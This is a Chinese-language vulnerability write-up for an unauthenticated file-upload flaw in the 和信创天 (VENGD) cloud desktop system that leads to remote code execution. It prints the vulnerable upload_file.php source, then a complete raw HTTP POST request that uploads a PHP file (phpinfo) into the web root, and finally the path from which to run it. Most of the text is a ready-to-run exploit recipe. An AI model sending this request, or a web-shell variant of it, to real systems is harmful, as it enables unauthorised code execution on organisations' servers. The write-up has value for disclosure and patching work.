和信创天云桌面系统 upload_file.php 远程命令执行漏洞

漏洞描述

和信创天云桌面系统存在默认配置导致文件上传并可以远程命令执行。

漏洞影响

和信创天云桌面系统

网络测绘

和信下一代云桌面VENGD

漏洞复现

登录页面如下

存在漏洞的文件为 upload_file.php

<?php
function writeLog($msg){
    $logFile = date('Y-m-d').'.txt';
    $msg = date('Y-m-d H:i:s').' >>> '.$msg."\r\n";
    file_put_contents($logFile,$msg,FILE_APPEND );
}
//require("vesystem/msg_define/session_lib.php");
if ($_FILES["file"]["error"] > 0)
{
  //  echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
    echo "_Requst:<br>";
        /*     foreach($_REQUEST as $name => $value)
            {
                 $name."=".$value."<br>";
            }
            //echo "_FILES:<br>";
            foreach($_FILES as $array_name=>$array_value)
            {    
            $array_name."=".$array_value."<br>";
                foreach($_FILES[$array_name] as $name => $value)
                {
                $name."=".$value."<br>";
                }
            } */
        $l = $_GET['l'];
        
        //拆分字符串按“/”分割字符
        $arrpath = explode("/",$l);
        $m = count($arrpath);
        
        
        $file_e = "";
        if ($m>1){
            for($i=0;$i<$m;$i++){
                $file_e .= $arrpath[$i];
                
                
                if(!file_exists($file_e)){
                    mkdir($file_e, 0777);
                }
                $file_e .= "/";
            }
            
        }else{
            
            //判断文件夹是否存在 ，不存在就新建个
            
            
            if(!file_exists($l)){
                mkdir("$l", 0777);
            }
        }
        
        
        
        $target_path=$_SERVER["DOCUMENT_ROOT"]."/Upload/".$l."/".$_FILES["file"]["name"];
       
       
        if (file_exists($target_path))
        {
            unlink($target_path);
        }
        
        
        $a = 'old_file='.$_FILES["file"]["tmp_name"];
        
        writeLog($a);
        writeLog('new_file='.$target_path);
    $target_path = str_replace ( '//', '/', $target_path );
    
    writeLog('new_file2='.$target_path);
    
   $varerror =  move_uploaded_file($_FILES["file"]["tmp_name"],$target_path);
    
    writeLog('$varerror='.$varerror);
}
?>

发送请求包如下

POST /Upload/upload_file.php?l=1 HTTP/1.1
Host: xxx.xxx.xx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 182

------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/avif

<?php phpinfo(); ?>
------WebKitFormBoundaryfcKRltGv--

访问

http://xxx.xx.xxx.xxx/Upload/1/test.php